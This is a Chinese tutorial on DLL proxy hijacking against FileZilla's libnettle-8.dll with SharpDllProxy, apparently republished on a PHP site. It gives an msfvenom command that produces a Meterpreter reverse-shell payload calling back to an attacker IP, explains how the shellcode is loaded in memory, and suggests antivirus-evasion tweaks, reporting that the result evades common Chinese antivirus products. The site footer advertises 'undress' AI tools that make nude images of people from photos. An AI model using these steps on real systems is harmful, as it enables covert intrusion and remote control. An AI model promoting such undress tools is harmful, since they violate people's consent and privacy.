如何进行DLL代理转发与weiquan分析
DLL劫持
再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。造成DLL劫持的原因是因为并非所有的DLL都会被写入注册表中。
使用msfvenom生成的dll直接秒杀。
SharpDllProxy
听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.
前言
先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:
实验过程
目标程序
花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:
那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。
生成shellcode
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
实验开始
首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。
直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案
利用SharpDllProxy.dll创建一个伪造的libnettle-8.dll文件。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。
来分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。
到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。在这里,我们通过VirtualAlloc内存操作将shellcode以二进制方式读入并执行。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。
使用 VS 编译上面的C文件。在文件菜单下选择新建,然后选择动态链接库项目,将项目命名为 libnettle-8。复制上面的C文件代码到VS中编译
将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。
使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。
以上是如何进行DLL代理转发与weiquan分析的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

如果Nvgpucomp64.dll导致游戏频繁崩溃,这里提供的解决方案可能会对您有所帮助。这种问题通常是由于过时或损坏的显卡驱动程序、游戏文件损坏等原因引起的。修复这些问题可以帮助您解决游戏崩溃的困扰。Nvgpucomp64.dll文件与NVIDIA显卡关联。当这个文件崩溃时,你的游戏也会崩溃。这通常发生在《LordsoftheFallen》、《LiesofP》、《RocketLeague》和《ApexLegends》等游戏中。Nvgpucomp64.dll使WindowsPC上的游戏崩溃如果N

很多的用户们在利用电脑玩游戏的时候会出现提示coremessaging.dll丢失的情况,相信很多的用户们第一时间都会觉得软件或者是游戏的问题,其实不是的,这是因为电脑缺少了dll文件,用户们可以去下载coremessaging.dll文件就可以了。下面就让本站来为用户们来仔细的介绍一下Windows系统目录CoreMessaging.dll文件丢失找不到问题解析吧。Windows系统目录CoreMessaging.dll文件丢失找不到问题解析1、下载CoreMessaging.dll文件2、将

win7系统丢失libcurl.dll怎么解决?一般都是dll文件都会导致部分程序无法正常进行使用,面对这个问题,很多用户都不知道应该如何解决,针对这个情况,今日小编就来和广大用户们分享详细的解决方法,希望今日win7教程能够给广大的用户们带来帮助,一起来了解看看吧。win7系统丢失libcurl.dll解决方法1、下载libcurl.dll文件。2、下载好后将文件放入相应的文件夹,这里分32位和64位操作系统路径如下:32位Win7操作系统将文件直接复制到C:\Windows\SYSTEM32

很多用户喜欢使用电脑玩游戏,最近有Win7系统的用户反映在启动游戏的时候,遇到了系统提示计算机中丢失Skidrow.dll文件无法启动的弹窗,没办法正常加载游戏,这是怎么回事呢?针对这一问题,本篇带来了详细的解决方法,分享给大家,一起看看吧。Win7启动游戏提示计算机中丢失Skidrow.dll怎么办?1、下载Skidrow.dll文件。2、解压该文件夹,然后将Skidrow.dll文件复制到系统目录下。32位系统:C:\WINNT\System3264位系统:C:\Windows\SysWOW

vcruntime140_1.dll是VisualC运行时库的一个组成部分,不少的用户们在使用MicrosoftVisualStudio进行开发时出现了vcruntime140_1.dll无法继续执行代码的错误,那么用户们遇到这种问题要怎么办?下面就让本站来为用户们来仔细的介绍一下vcruntime140_1.dll无法继续执行代码如何解决方法吧。vcruntime140_1.dll丢失的原因卸载VisualC运行时库:误操作或升级VisualC导致运行时库丢失。病毒感染:恶意软件删除或损坏vc

解决办法:1、重新下载或从可靠的来源获取DLL文件;2、检查DLL文件的依赖项;3、确保使用的是正确的DLL版本;4、注册DLL文件;5、检查防火墙和安全软件设置;6、联系软件供应商或技术支持。

鲁大师是一款许多用户都在使用的硬件检测工具,通过软件可以查看到详细的硬件信息,但是它有很多的功能可以多驱动进行修复,很多人想要知道鲁大师可不可以修复dll文件?怎么修复,针对这个问题,本期软件教程小编就来和各位讲解一下,想要了解的小伙伴欢迎来获取查看。 鲁大师一键修复所有dll缺失教程: 1、首先打开鲁大师,进入主界面。 2、其次点右上角的游戏库,再点右上角的修复。 3、最后一键修复dll缺失文件即可。

VCRUNTIME140.dll是什么什么文件呢?为什么电脑在运行一些游戏的时候会出现丢失VCRUNTIME140.dll,然后游戏运行失败?这个dll文件是电脑重要的运行库文件。丢失了会导致很多程序无法运行。VCRUNTIME140.dll是什么是VC++2015运行库其中一个文件1、VCRUNTIME140.dll是微软windows系统运行中必要的一个重要文件。2、电脑中不同的程序运行需要有不同的dll文件进行运行支持。3、当电脑运行程序出现了丢失VCRUNTIME140.dll文件提示,
